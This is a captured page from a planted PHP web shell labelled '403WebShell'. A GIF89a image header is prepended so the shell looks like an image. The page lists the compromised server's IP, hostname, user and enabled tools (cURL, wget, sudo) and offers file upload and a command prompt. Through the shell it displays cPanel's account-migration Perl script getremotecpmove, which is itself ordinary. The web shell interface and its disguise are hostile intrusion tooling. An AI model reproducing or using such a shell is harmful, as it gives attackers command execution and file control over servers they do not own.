GIF89a=( õ' 7IAXKgNgYvYx\%wh…hŽth%ˆs%—x¨}9®Œ©€&©‰%¶†(¹–.¹5·œD¹&Çš)ÇŸ5ǘ;Í£*È¡&Õ²)ׯ7×µ<Ñ»4ï°3ø‘HÖ§KͯT÷¨Yÿšqÿ»qÿÔFØ !ù ' !ÿ NETSCAPE2.0 , =( þÀ“pH,È¤rÉl:ŸÐ¨tJ­Z¯Ø¬vËíz¿à°xL.›Ïè´zÍn»ßð¸|N¯Ûïø¼~Ïïûÿ€‚ƒ„…†‡ˆ‰Š‹ŒŽ‘’“”•–—˜™š›œžŸ ¡¢£¤¥¦§gª«ªE¯°¨¬ª±²Œ¹º¹E¾­”´ÂB¶¯ §Åȸ»ÑD¾¿Á•ÄÅ®° ÝH¾ÒLÀÆDÙ«D¶BÝïðÀ¾DÑÑÔTÌÍíH òGö¨A RÎڐ |¥ ٭&ºìE8œ¹kGÔAÞpx­a¶­ã R2XB®åE8I€Õ6Xî:vT)äžþÀq¦è³¥ì仕F~%xñ  4#ZÔ‰O|-4Bs‘X:= QÉ œš lºÒyXJŠGȦ|s hÏíK–3l7·B|¥$'7Jީܪ‰‡àá”Dæn=Pƒ ¤Òëí‰`䌨ljóá¯Éüv>á–Á¼5 ½.69ûϸd«­ºÀûnlv©‹ªîf{¬ÜãPbŸ  l5‘Ž¯pß ´ ˜3aÅùäI«O’ý·‘áÞ‡˜¾Æ‚ÙÏiÇÿ‹Àƒ #öó)pâš Þ½ ‘Ý{ó)vmÞü%D~ 6f s}ŃƒDØW Eþ`‡þ À…L8xá†ç˜{)x`X/> Ì}mø‚–RØ‘*|`D=‚Ø_ ^ð5 !_…'aä“OÚ—7âcð`D”Cx`ÝÂ¥ä‹éY¹—F¼¤¥Š?¡Õ™ n@`} lď’ÄÉ@4>ñd œ à‘vÒxNÃ×™@žd=ˆgsžG±æ ´²æud &p8Qñ)ˆ«lXD©øÜéAžHìySun jª×k*D¤LH] †¦§C™Jä–´Xb~ʪwStŽ6K,°£qÁœ:9ت:¨þªl¨@¡`‚ûÚ ».Û¬¯t‹ÆSÉ[:°=Š‹„‘Nåû”Ìî{¿ÂA ‡Rà›ÀÙ6úë°Ÿð0Ä_ ½;ÃϱîÉì^ÇÛÇ#Ëë¼ôº!±Ä˜íUîÅÇ;0L1óÁµö«p% AÀºU̬ݵ¼á%霼€‡¯Á~`ÏG¯»À× ­²± =4ªnpð3¾¤³¯­ü¾¦îuÙuµÙ®|%2ÊIÿür¦#0·ÔJ``8È@S@5ê¢ ö×Þ^`8EÜ]ý.뜃Âç 7 ú ȉÞj œ½Dç zý¸iþœÑÙûÄë!ˆÞÀl§Ïw‹*DçI€nEX¯¬¼ &A¬Go¼QföõFç°¯;é¦÷îŽêJ°îúôF5¡ÌQ|îúöXªæ»TÁÏyñêï]ê² o óÎC=öõ›ÒÓPB@ D×½œä(>èCÂxŽ`±«Ÿ–JЀ»Û á¤±p+eE0`ëŽ`A Ú/NE€Ø†À9‚@¤à H½7”à‡%B‰`Àl*ƒó‘–‡8 2ñ%¸ —€:Ù1Á‰E¸àux%nP1ð!‘ðC)¾P81lÑɸF#ˆ€{´âé°ÈB„0>±û °b¡Š´±O‚3È–Ù()yRpbµ¨E.Z‘D8ÊH@% òŒx+%Ù˜Æcü »¸˜fõ¬b·d`Fê™8èXH"ÉÈ-±|1Ô6iI, 2““¬$+](A*jÐ QTÂo‰.ÛU슬Œã„Ž`¯SN¡–¶Äåyše¯ª’­¬‚´b¦Éož œ)åyâ@Ì®3 ÎtT̉°&Ø+žLÀf"Ø-|žçÔ>‡Ðv¦Ðžì\‚ Q1)Ž@Žh#aP72”ˆ™¨$‚ !ù " , =( …7IAXG]KgNgYvYxR"k\%w]'}hŽth%ˆg+ˆs%—r.—m3šx3˜x¨}9®€&©€+¨‡7§‰%¶†(¹–.¹œD¹&ǘ;Í•&ײ)×»4ïÌ6ò§KÍ þ@‘pH,È¤rÉl:ŸÐ¨tJ­Z¯Ø¬vËíz¿à°xL.›Ïè´zÍn»ßð¸|N¯Ûïø¼~Ïïûÿ€‚ƒ„…†‡ˆ‰Š‹ŒŽ‘’“”•–—˜™š›œžŸ ¡¢£¤¥¦§g «¬ E ±± ¨­¶°ººE Á´”·®C¬²§Ç¶Œ»ÓDÃÕƷ¯Ê±H½ºM×ÁGÚ¬D¶BËÁ½î½DÓôTÏÛßîG»ôõC×CÌ l&âž:'òtU³6ɹ#·Ø)€'Ü.6±&ëÍÈ» K(8p0N?!æ2"ÛˆNIJX>R¼ÐO‚M '¡¨2¸*Ÿþ>#n↠å@‚<[:¡Iïf’ ¤TÚ˘CdbÜÙ“[«ŽEú5MBo¤×@€`@„€Êt W-3 ¶Ÿ¡BíêäjIÝ…Eò9[T…$íêﯧ„…•s»Óȳ¹€ÅÚdc®UUρ#±Ùïldj?´í¼²`\ŽÁðÞu|3'ÖŒ]ë6 ¶S#²‡˜FKLÈ *N E´‘áäŠ$˜›eÄYD„ºq«.è촁ƒs \-ÔjA 9²õ÷å- üúM[Âx(ís÷ì®x€|í¡Ù’p¦‚ ŽkÛTÇDpE@WÜ ²Ç]kŠ1¨ þ€·Yb ÓÁ‰l°*n0 ç™—žzBdОu¾7ĉBl€â‰-ºx~|UåU‰  h*Hœ|e"#"?vpÄiŠe6^ˆ„+qâŠm8 #VÇá ‘å–ÄV„œ|Šè•m"сœn|@›U¶ÆΞ—Špb¥G¨ED”€±Úê2FÌIç? >Éxå Œ± ¡¤„%‘žjŸ‘ꄯ<Ìaà9ijÐ2˜D¦È&›†Z`‚å]wþ¼Â:ç6àB¤7eFJ|õÒ§Õ,¨äàFÇ®cS·Ê¶+B°,‘Þ˜ºNûãØ>PADÌHD¹æž«ÄÀnÌ¥}­#Ë’ë QÀÉSÌÂÇ2ÌXÀ{æk²lQÁ2«ÊðÀ¯w|2Í h‹ÄÂG€,m¾¶ë3ÐÙ6-´ÅE¬L°ÆIij*K½ÀÇqï`DwVÍQXœÚÔpeœ±¬Ñ q˜§Tœ½µƒ°Œìu Â<¶aØ*At¯lmEØ ü ôÛN[P1ÔÛ¦­±$ÜÆ@`ùåDpy¶yXvCAyåB`ŽD¶ 0QwG#¯ æš[^Äþ $ÀÓÝǦ{„L™[±úKÄgÌ;ï£S~¹ìGX.ôgoT.»åˆ°ùŸûù¡?1zö¦Ÿž:ÅgÁ|ìL¹ „®£œŠ‚à0œ]PÁ^p F<"•ç?!,ñ‡N4—…PÄ Á„ö¨Û:Tè@hÀ‹%táÿ:ø-žI<`þ‹p I….)^ 40D#p@ƒj4–؀:²‰1Øâr˜¼F2oW¼#Z†;$Q q” ‘ ÂK¦ñNl#29 !’F@¥Bh·ᏀL!—XFóLH‘Kh¤.«hE&JòG¨¥<™WN!€ÑÙÚˆY„@†>Œž19J" 2,/ &.GXB%ÌRÈ9B6¹W]’î×ÔW¥’IÎ$ ñ‹ÓŒE8YÆ ¼³™ñA5“à®Q.aŸB€&Ø©³ JÁ—! ¦t)K%tœ-¦JF bòNMxLôþ)ÐR¸Ð™‘ èÝ6‘O!THÌ„HÛ ‰ !ù ) , =( …AXKgNgYvYxR"k\%wh…hŽh%ˆg+ˆs%—r.—x3˜x¨}9®€&©€+¨Œ,©‡7§‰%¶†(¹–.¹5·&Çš)ǘ;Í•&×£*Ȳ)ׯ7×»4ï°3øÌ6ò‘HÖ§KÍ»Hó¯T÷¨Yÿ»qÿÇhÿ þÀ”pH,È¤rÉl:ŸÐ¨tJ­Z¯Ø¬vËíz¿à°xL.›Ïè´zÍn»ßð¸|N¯Ûïø¼~Ïïûÿ€‚ƒ„…†‡ˆ‰Š‹ŒŽ‘’“”•–—˜™š›œžŸ ¡¢£¤¥¦§g ª« E$±²¨ª­ · °²½$E$ÂÕ««D· Í ¿¦Ç¶¸ÌŒ¾³CÃÅÆ E ééH½MÛÂGâªD­ çBêêϾD²ÒaÀà€Š1r­ðÓ¤ ÔožzU!L˜C'¾yW½UGtäÇïÙllê0×àÂuGþ)AÀs[þ·xì ÁxO%ƒûX2ó—  P£n›R/¡ÑšHše+êDm?# —‘Ç£6¡8íJ¡ŸâDiäªM¥Ö„ôj“¬¹£5oQ7°- <‡ *´lãÓŒ2r/a!l)dÈ A™ÈE¢ôÔ͆…ð ;Ö˜c ¡%ß‚’Ùˆâ¸b½—pe~C"BíëÚHïeF2§æŠ8qb t_`urŠeü wÅu3êæPv§h•"ß`íÍxçLĹÜÖ3á  ~Öº“®›¸ÏMDfJÙ °„ÛµáWõ%§œ‚à©–‚X Ó؁)@®Ñ›Eþ´wëuÅSxb8y\mÖzœ¥§ZbºE—ÂLªÌw!y(>¡™wú=Ç|ÅÝs¢d €CÁW)HÜcC$€L Ä7„r.á\{)@ð` @ äXÈ$PD” `šaG:§æˆOˆ72EÐamn]ù"ŒcÊxÑŒ° &dR8`g«iÙŸLR!¦P …d’ä¡“¦ðÎTƒ¦ià|À _ ¥ Qi#¦Šg›Æ ›noMµ ›V ã£)p ç£ÎW…š=Âeªk§†j„ ´®1ß²sÉxéW«jšl|0¯B0Û, \jÛ´›6±¬¶C ÛíWþï|ëÙ‹¸ñzĸV {ì;Ýñn¼òVˆm³I¼³.Ðã¤PN¥ ²µ¼„µCã+¹ÍByî£Ñ¾HŸ›ëê 7ìYÆFTk¨SaoaY$Dµœìï¿Ã29RÈkt Çïfñ ÇÒ:ÀÐSp¹3ÇI¨â¥DZÄ ü9Ïýögñ½­uÔ*3)O‘˜Ö[_hv ,àî×Et Ÿé¶BH€ Õ[ü±64M@ÔSÌM7dÐl5-ÄÙU܍´©zߌ3Ô€3ž„ „ ¶ÛPô½5×g› êÚ˜kN„Ý…0Îj4€Ìë°“#{þÕ3S2çKÜ'ợlø¼Ú2K{° {Û¶?žm𸧠ËI¼nEò='êüóºè^üæÃ_Û=°óž‚ì#Oý¿Í'¡½áo..ÏYìnüñCœO±Áa¿¢Kô½o,üÄËbö²çºíï{ËC Ú— "”Ï{ËK ÍÒw„õ±Oz dÕ¨à:$ ƒô—«v»] A#ð «€¿šéz)Rx׿ˆ¥‚d``èw-îyÏf×K!ð€þ­Ð|ìPľ„=Ì`ý(f” 'Pa ¥ÐBJa%Ðâf§„%Š¡}FàáÝ×6>ÉäŠG"éŽè=ø!oŠ°^FP¼Ø©Q„ÀCÙÁ`(Ž\ÄÝ® ©Â$<n@dÄ E#ììUÒI! ‚#lù‹`k¦ÐÇ'Rró’ZýNBÈMF Í[¤+‹ðɈ-áwj¨¥þ8¾rá ,VÂh„"|½œ=×G_¦Ñ™EØ 0i*%̲˜Æda0mV‚k¾)›;„&6 p>ÓjK “¦Ç# âDÂ:ûc?:R Ó¬fÞéI-Ì“•Ã<ä=™Ï7˜3œ¨˜c2ŒW ,ˆ”8(T™P‰F¡Jhç"‚ ; 403WebShell
403Webshell
Server IP : 192.254.185.125  /  Your IP : 216.73.216.196
Web Server : Apache
System : Linux gator3151.hostgator.com 5.14.0-687.42.1.el9_8.x86_64 #1 SMP PREEMPT_DYNAMIC Thu Aug 27 11:55:12 EDT 2026 x86_64
User : diablo ( 32101)
PHP Version : 7.4.33
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /scripts/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :

[ Back ]     

Current File : /scripts/getremotecpmove
#!/usr/local/cpanel/3rdparty/bin/perl

#                                      Copyright 2026 WebPros International, LLC
#                                                           All rights reserved.
# copyright@cpanel.net                                         http://cpanel.net
# This code is subject to the cPanel license. Unauthorized copying is prohibited.

package scripts::getremotecpmove;

use cPstrict;
no warnings;    ## no critic qw(ProhibitNoWarnings)

use Socket                    ();
use Cpanel::Carp              ();
use Cpanel::Encoder::Tiny     ();
use Cpanel::Encoder::URI      ();
use Cpanel::MD5               ();
use Cpanel::FileUtils::Open   ();
use Cpanel::Filesys::Home     ();
use Cpanel::Locale            ();
use Cpanel::Rand::Get         ();
use Cpanel::RemoteAPI::cPanel ();
use Cpanel::Version::Compare  ();

local $| = 1;

my $locale = Cpanel::Locale->get_handle();

__PACKAGE__->script(@ARGV) unless caller;

sub script {
    my ( $self, @args ) = @_;

    chdir("/usr/local/cpanel/scripts");

    my $host = $args[0];
    my $user = $args[1];

    $host =~ s/\///g;
    $user =~ s/\///g;
    $host =~ s/\.\.//g;
    $user =~ s/\.\.//g;
    my $pass = <STDIN>;
    $pass =~ s/\n//g;

    $host = "[$host]" if $host =~ tr{:}{};

    if ( !length $pass ) {
        print $locale->maketext( "This utility requires that the account password be sent over “[_1]”.", 'STDIN' );
        exit(1);
    }

    my $part = Cpanel::Filesys::Home::get_homematch_with_most_free_space() || '/home';

    my @PKGDEBUG;
    my ( $fetch_ok, $archive_file, $extractdir, $md5sum, $pkgdebug ) = fetch_acct_by_cpanel( 'user' => $user, 'host' => $host, 'pass' => $pass, 'part' => $part );
    push @PKGDEBUG, $pkgdebug;

    if ( !$fetch_ok ) {
        print "Failed to fetch cpmove file via cPanel API.\n";
        exit(1);
    }

    if ($fetch_ok) {
        if ($md5sum) {
            my $newmd5 = Cpanel::MD5::getmd5sum($archive_file);
            if ( $newmd5 eq $md5sum ) {
                print "Checksum Matches!\n";
            }
            else {
                print "Checksum Failure [[$newmd5]] [[$md5sum]]…trace information follows…<table width=\"100%\" style=\"border: 1px #000 solid;\"><tr><td><pre>" . join( "\n\n\n", @PKGDEBUG ) . "</pre></td></tr></table>\n\n";
                exit(1);
            }
        }
        elsif ( -z $archive_file ) {
            print "Checksum Failure: Failed to download account file.\n";
            exit(1);
        }
        print "extract dir name is: $extractdir\n";
        print "pkgacctfile is: $archive_file\n";
        print "MOVE IS GOOD!\n";
        exit(0);
    }
    else {
        print "Failed to fetch account via cpanel and ftp/web\n";
        exit(1);
    }
}

my $api;

sub _api ( $host, $user, $pass ) {
    return $api ||= Cpanel::RemoteAPI::cPanel->new_from_password(
        $host,
        $user => $pass,
    )->disable_tls_verify();
}

sub _can_fullbackup_to_homedir ($api) {
    my $MIN_VERSION = '77';

    my $version = eval { $api->get_cpanel_version_or_die };

    return 0 unless defined $version;

    return Cpanel::Version::Compare::compare( $version, '>=', $MIN_VERSION );
}

# Runs before the (potentially hours-long) remote backup so that we don’t
# burn the source’s disk and CPU on a download that’s going to be refused.
# A nonexistent file under “./download/” gets a 404 if we’re authorized to
# be there at all, and a 401/403 if not.
#
# This only ever short-circuits on an explicit refusal. Anything else — a
# transport failure, a proxy or [asis,WAF] rewriting the 404, or a source
# old enough to answer a missing file differently — is not evidence that
# the download would fail, so we fall through and let the download itself
# report. That keeps an unrecognized answer no worse than the behavior
# before this probe existed.
sub _download_is_authorized ($api) {
    my $probe_name = 'cpanel-transfer-authz-probe-' . Cpanel::Rand::Get::getranddata(16);

    # Cpanel::HTTP::Client throws on a 599/transport failure rather than
    # returning it, and _establish_session() dies too. Never let that
    # escape, and never print it: the exception phrase embeds the request
    # URL, which carries the source’s live “cpsess” token.
    my $resp = eval { $api->request_session_document( 'GET', "/download/$probe_name" ) };

    return 1 if !$resp;

    return 0 if $resp->{'status'} == 401 || $resp->{'status'} == 403;

    return 1;
}

# Called only on a failed download, to name the real cause instead of the
# generic HTTP failure. Never mention HTTP Basic: after this change we
# never send it, so it can’t be why the download failed.
#
# Requires an explicitly false “data”, not merely a falsy one. UAPI reports
# a disabled feature as a defined 0, but it also returns success with
# “data” never set in two cases that are not a disabled feature: an
# always-on feature, where Cpanel::API::Features::has_feature() early
# returns before touching “data”, and a feature name it does not recognize,
# which sets it to undef. Reading undef as “disabled” sends the operator to
# change a setting on a server they do not administer, for a download that
# failed for some other reason — a 403 from demo mode, a non-admin team
# user, or a transport error.
sub _explain_download_failure ( $api, $host ) {
    my $result = eval { $api->request_uapi( 'Features', 'has_feature', { name => 'filemanager' } ) };

    return 0 if !$result || !$result->status();

    my $has_feature = $result->data();

    if ( defined($has_feature) && !$has_feature ) {
        print $locale->maketext( "The account “[_1]” on “[_2]” does not have the “[_3]” feature enabled, which the file download requires.", $api->get_username(), $host, 'filemanager' ) . "\n";
        return 1;
    }

    return 0;
}

# The reason a document fetch failed at the transport layer, or undef if the
# exception does not name one.
#
# Cpanel::HTTP::Client turns HTTP::Tiny's 599 into a
# Cpanel::Exception::HTTP::Network, whose “error” field is HTTP::Tiny's own
# message: “SSL connection failed for <host>: …”, “Could not connect to
# '<host>:<port>': …”, “Timed out while waiting for socket to become ready
# for reading”, “Unexpected end of stream”. Each of those names only the
# host and the port.
#
# The exception itself must never be printed: _default_phrase() interpolates
# get_url_without_password(), which is the entire session URL and so carries
# the source's live “cpsess” token. Report the field instead of the
# exception, and strip a token out of the field anyway, in case a future
# HTTP::Tiny starts naming the URL in its own message.
sub _transport_failure_reason ($err) {

    return undef if !ref($err) || !eval { $err->isa('Cpanel::Exception::HTTP::Network') };

    my $reason = $err->get('error');

    return undef if !defined($reason) || !length($reason);

    $reason =~ s{cpsess[0-9]+}{cpsess…}g;

    return $reason;
}

# Says why the archive download failed, as precisely as the evidence allows.
#
# The status is the single most useful thing when the request came back, and
# the pre-session implementation reported it. $resp is undef when the
# request threw instead, which is every transport-level failure — an expired
# or mismatched certificate, a stalled link, a source that closed the
# connection mid-archive. Those are the failures that most need a cause, and
# before this script stopped letting the exception propagate to STDERR they
# were the only ones that had one, so redact the token out of the reason
# rather than discarding the reason along with it.
sub _report_download_failure ( $api, $host, $resp, $exception ) {

    if ($resp) {
        print $locale->maketext( "Cannot download the account archive from “[_1]”: [_2] [_3]", $host, $resp->{'status'}, $resp->{'reason'} ) . "\n";
    }
    elsif ( my $why = _transport_failure_reason($exception) ) {
        print $locale->maketext( "Cannot download the account archive from “[_1]” because the connection failed: [_2]", $host, $why ) . "\n";
    }
    else {
        print $locale->maketext( "Cannot download the account archive from “[_1]” because the connection failed.", $host ) . "\n";
    }

    return _explain_download_failure( $api, $host );
}

# Flushes and closes the downloaded archive, discarding it on failure.
# Returns the error, or undef if it was written intact.
#
# close() is where the buffered tail is flushed, so a deferred write error
# -- ENOSPC on the last block, most likely, since the destination was chosen
# for having the most free space and has just had a whole archive written to
# it -- surfaces here or not at all. Nothing downstream would catch it:
# _archive_rejection_reason() reads two bytes for the gzip magic, and
# script()'s “-z” test only asks whether the file is non-empty, so a
# truncated archive passes both and is handed to restore as though it were
# complete.
sub _archive_write_failure_reason ( $out_fh, $dest ) {

    return undef if close($out_fh);

    my $err = $!;

    unlink($dest);

    return $err;
}

# Returns a reason the response headers describe markup rather than an
# archive, or undef. Shared by the in-stream check, which has only the
# headers, and the post-download check, which also inspects the file, so the
# two cannot drift apart.
sub _markup_content_type_reason ($headers) {

    my $type = $headers->{'content-type'};

    # HTTP::Tiny collapses a repeated header into an arrayref.
    $type = $type->[0] if ref $type eq 'ARRAY';
    $type = ''         if !defined $type;

    return undef if $type !~ m{text/|/html\b|/xhtml|/xml\b}i;

    return $locale->maketext( "the remote server sent “[_1]” content", $type );
}

# The archive download's data_callback. Named rather than inline so it can
# be exercised without a live transfer; progress state lives in $state so
# the caller can see, once the request has returned, why the stream was
# rejected.
sub _make_download_callback ( $out_fh, $state ) {

    return sub {
        my ( $data, $resp ) = @_;

        my $headers = $resp->{'headers'} // {};

        # Reject markup on the very first chunk rather than after the whole
        # body is on disk. A WAF block page or a captive portal can answer
        # 200 with an unbounded body, and it is being written to whichever
        # home partition had the most free space, so waiting for the
        # response to finish means filling that partition first.
        if ( !$state->{'checked_type'}++ ) {
            if ( my $reason = _markup_content_type_reason($headers) ) {
                $state->{'rejection'} = $reason;

                # Unwinds through request(); the caller reads “rejection”.
                die "the download is not an account archive\n";
            }
        }

        if ( !defined $state->{'cl'} ) {
            if ( ( $headers->{'content-length'} // '' ) =~ /^\d+$/ ) {
                $state->{'cl'} = $headers->{'content-length'};
            }
        }

        $state->{'bytesread'} += length $data;
        $state->{'cc'}++;
        if ( $state->{'cc'} == 170 && $state->{'cl'} ) {
            my $cl          = $state->{'cl'};
            my $new_percent = int( ( $state->{'bytesread'} / $cl ) * ( $cl == 1 ? 1 : 100 ) );
            if ( $new_percent != ( $state->{'percent'} // 0 ) ) {
                $state->{'percent'} = $new_percent;
                print "..${new_percent}" . ( $cl == 1 ? '' : '%' ) . "..\n";
            }
            $state->{'cc'} = 0;
        }

        print {$out_fh} $data;

        return 1;
    };
}

# Returns a human-readable reason the downloaded file is not the account
# archive we asked for, or undef if it looks like one. Deliberately
# conservative: it only rejects on positive evidence of the wrong thing, so
# an unfamiliar-but-valid content type never blocks a good transfer.
sub _archive_rejection_reason ( $resp, $path, $backup_file ) {

    if ( my $reason = _markup_content_type_reason( $resp->{'headers'} // {} ) ) {
        return $reason;
    }

    # Only .gz archives have a magic number we can rely on here.
    return undef if $backup_file !~ m/\.gz\z/;

    open my $fh, '<', $path or return undef;
    binmode $fh;
    my $magic = '';
    read( $fh, $magic, 2 );
    close $fh;

    return undef if $magic eq "\x1f\x8b";

    return $locale->maketext("the file is not [asis,gzip]-compressed data");
}

sub fetch_acct_by_cpanel {
    my %OPTS                  = @_;
    my $host                  = $OPTS{'host'};
    my $user                  = $OPTS{'user'};
    my $pass                  = $OPTS{'pass'};
    my $filesystem_target_dir = $OPTS{'part'};

    print "Trying to fetch cpmove file via cPanel API!\n";

    my $api = _api( $host, $user, $pass );

    print $locale->maketext("Fetching current backups from remote server …");
    my ( $login_ok, $current_resp_data, $current_bck_ref ) = get_current_backups($api);
    return 0 if !$login_ok;
    print "    " . $locale->maketext( "[quant,_1,backup,backups] found.", ( scalar keys %$current_bck_ref ) );
    print "\n";
    print $locale->maketext(" … done.") . "\n";

    foreach my $bck ( keys %$current_bck_ref ) {
        if ( $current_bck_ref->{$bck} ) {
            print $locale->maketext( "A backup to the file “[_1]” is currently in progress on the remote server.", $bck ) . "\n";
            print $locale->maketext("Please wait until it is complete and try again.") . "\n";
            exit(1);
        }
    }

    if ( !_download_is_authorized($api) ) {

        # Nothing has been downloaded at this point, and no backup has been
        # built: say what actually happened rather than reusing the
        # download-failure wording.
        print $locale->maketext( "The account “[_1]” on “[_2]” is not permitted to download files, which this transfer requires.", $user, $host ) . "\n";
        _explain_download_failure( $api, $host );
        return 0;
    }

    print $locale->maketext("Starting the backup …") . "\n";

    if ( _can_fullbackup_to_homedir($api) ) {

        # start the backup
        my $result = $api->request_uapi(
            'Backup', 'fullbackup_to_homedir',
            {

                # If the remote is pre-v88 it’ll just ignore this parameter,
                # so we don’t need a version check here.
                dbbackup_mysql => 'schema',

                # Same situation as “dbbackup_mysql”, but for v94.
                homedir => 'skip',
            },
        );

        if ( $result->status() ) {
            my $pid = $result->data()->{'pid'};

            print "Remote backup started (PID $pid)\n";
        }
        else {
            die "Failed to start backup on $host as $user: " . $result->errors_as_string();
        }
    }
    else {
        # “Fileman” is an API1 module: it has no API2 counterpart, so this
        # must not go through request_api2().
        my $resp = $api->request_api1( 'Fileman', 'fullbackup' );

        if ( !$resp->{'event'}{'result'} ) {
            my $err = $resp->{'event'}{'reason'} // 'unknown error';
            die "Failed to start backup on $host as $user: $err";
        }
    }

    # Having started the backup, we now look for a new cpmove file. The file
    # is built in-place. This file will, when it’s finished, be the new
    # account archive that we’ll download.

    my ( $backup_file, $new_resp_data, $new_bck_ref );
  FIND:
    for ( 1 .. 10 ) {
        print $locale->maketext("Waiting for backup to start …") . "\n";
        sleep(5);
        print $locale->maketext(" … done.") . "\n";

        print $locale->maketext("Checking remote server for backups …");
        ( $login_ok, $new_resp_data, $new_bck_ref ) = get_current_backups($api);
        return 0 if !$login_ok;
        print "    " . $locale->maketext( "[quant,_1,backup,backups] found.", ( scalar keys %$new_bck_ref ) );
        print "\n";
        foreach my $back ( keys %{$new_bck_ref} ) {
            if ( !exists $current_bck_ref->{$back} ) {
                $backup_file = $back;
                last FIND;
            }
        }
    }

    if ( !$backup_file ) {
        print "Failed to retrieve the backup from the remote machine (if a previous backup is in progress you will need to wait until it is complete)!\n";
        print "(Trace information follows for initial backups)…<table width=\"100%\" style=\"border: 1px #000 solid;\"><tr><td><pre>" . _convert_response_data_to_trace_html($current_resp_data) . "</pre></td></tr></table>\n";
        print "(Trace information follows for backups after request started)…<table width=\"100%\" style=\"border: 1px #000 solid;\"><tr><td><pre>" . _convert_response_data_to_trace_html($new_resp_data) . "</pre></td></tr></table>\n";
        return 0;
    }

    print $locale->maketext( "The remote server is creating the backup file “[_1]”.", $backup_file ) . "\n";
    print $locale->maketext("Starting wait cycle for remote backup.") . "\n";
    my $bck_ref;
    my $MAX_POLL = 1440;    # AKA about 24 hours
    for my $attempt ( 1 .. $MAX_POLL ) {
        print $locale->maketext( "Polling remote server (Attempt [numf,_1]/[numf,_2]) …", $attempt, $MAX_POLL ) . "\n";

        ( $login_ok, undef, $bck_ref ) = get_current_backups($api);
        return 0 if !$login_ok;

        if ( exists $bck_ref->{$backup_file} ) {
            if ( !$bck_ref->{$backup_file} ) {
                last;
            }
            else {
                print $locale->maketext( "The backup file, [_1], is still being generated on the remote server “[_2]”.", $backup_file, $host ) . "\n";
                print "…60…\n";
                sleep(15);
                print "…45…\n";
                sleep(15);
            }
        }
        else {
            print $locale->maketext( "The backup file “[_1]” unexpectedly disappeared from the remote server “[_2]”.", $backup_file, $host ) . "\n";
            return 0;
        }
        print "…30…\n";
        sleep(15);
        print "…15…\n";
        sleep(15);
    }

    print $locale->maketext( "Downloading “[_1]” …", $backup_file ) . "\n";

    chdir($filesystem_target_dir) || return 0;

    my $now = time();
    my $out_fh;
    my $dest = "cpmove-$user-$now.tmp";
    if ( !Cpanel::FileUtils::Open::sysopen_with_real_perms( $out_fh, $dest, 'O_WRONLY|O_TRUNC|O_CREAT', 0600 ) ) {
        print "Could not open output file, “$dest” for download.\n";
        return 0;
    }

    my %state;
    my $resp = eval {
        $api->request_session_document(
            'GET',
            "/download/$backup_file",
            { data_callback => _make_download_callback( $out_fh, \%state ) },
        );
    };

    my $exception = $@;

    # The stream was markup, and the callback stopped it partway through.
    if ( my $reason = $state{'rejection'} ) {
        close($out_fh);
        unlink($dest);

        print $locale->maketext( "The download from “[_1]” is not an account archive: [_2]", $host, $reason ) . "\n";

        return 0;
    }

    if ( !$resp || !$resp->{'success'} ) {

        # The partial .tmp is worthless once the transfer failed, and the
        # caller returns to script() which never learns about it.
        close($out_fh);
        unlink($dest);

        _report_download_failure( $api, $host, $resp, $exception );

        return 0;
    }

    if ( my $err = _archive_write_failure_reason( $out_fh, $dest ) ) {
        print $locale->maketext( "Cannot write the account archive from “[_1]” to disk: [_2]", $host, $err ) . "\n";

        return 0;
    }

    # A 2xx carrying markup is not an archive: a proxy interstitial, a WAF
    # block page, a captive portal, or a redirect chain that ended at a
    # login form. Without this the HTML lands in the .tmp, gets renamed to
    # cpmove-$user-$now.tar.gz, passes the “-z” check in script() because it
    # is not empty, and is handed to restore as though it were an account.
    #
    # The callback already rejected an unmistakably textual content type on
    # the first chunk, so what is left for this check is the rest: the
    # magic-number test, which needs the finished file, and a body whose
    # content type only became available at the end. Both checks are
    # required, and neither replaces the other —
    # HTTP::Tiny::_prepare_data_cb() replaces the caller's callback with its
    # own buffering closure whenever the status is not 2xx, and _request()
    # suppresses it during redirects, so a callback-only guard would never
    # see anything but a final 2xx.
    if ( my $reason = _archive_rejection_reason( $resp, $dest, $backup_file ) ) {
        print $locale->maketext( "The download from “[_1]” is not an account archive: [_2]", $host, $reason ) . "\n";
        unlink($dest);
        return 0;
    }

    print " … done.\n";

    my $extractdir = $backup_file;
    $extractdir =~ s/(\.tar)?(\.gz)?$//g;

    # We are chdired to $filesystem_target_dir at this point
    system( '/bin/mv', '-f', '--', $dest, "cpmove-$user-$now.tar.gz" );

    return ( 1, "$filesystem_target_dir/cpmove-$user-$now.tar.gz", $extractdir, '', '' );
}

sub get_current_backups ($api) {

    #look for backups
    my %CURRENT_BACKUPS;

    my $resp = $api->request_api2( 'Backups', 'listfullbackups' );

    if ( my $err = $resp->{'error'} ) {
        my $hostname = $api->get_hostname();
        print Cpanel::Encoder::Tiny::safe_html_encode_str("cPanel login on $hostname failed: $err");
        return ( 0, [], {} );
    }

    for my $item_hr ( $resp->{'data'}->@* ) {
        my $is_in_progress = $item_hr->{'status'} =~ m<progress>i;

        $CURRENT_BACKUPS{ $item_hr->{'file'} } = $is_in_progress ? 1 : 0;
    }

    return ( 1, $resp->{'data'}, \%CURRENT_BACKUPS );
}

# NOTE: This function is pulled from Cpanel::Backups::listfullbackups and is used to preserve
#       pre-existing functionality which would dump the cpapi1 HTML response as part of the
#       trace information when the script failed to retrieve a backup file from the remote server
sub _convert_response_data_to_trace_html ($response_data) {

    my $html;

    foreach my $bck_ref (@$response_data) {
        my $html_safe_file = Cpanel::Encoder::Tiny::safe_html_encode_str( $bck_ref->{'file'} );
        my $uri_safe_file  = Cpanel::Encoder::URI::uri_encode_str( $bck_ref->{'file'} );
        if ( $bck_ref->{'status'} eq 'complete' ) {
            $html .= qq(<div class="okmsg"><b><a href="$ENV{'cp_security_token'}/download?file=$uri_safe_file">$html_safe_file</a></b> ($bck_ref->{'localtime'})<br /></div>\n);
        }
        elsif ( $bck_ref->{'status'} eq 'inprogress' ) {
            $html .= qq(<div class="warningmsg">$html_safe_file ($bck_ref->{'localtime'}) [in progress]<br /></div>\n);
        }
        else {
            $html .= qq(<div class="errormsg">$html_safe_file ($bck_ref->{'localtime'}) [failed, timeout]<br /></div>\n);
        }

    }

    return $html;
}

1;

Youez - 2016 - github.com/yon3zu
LinuXploit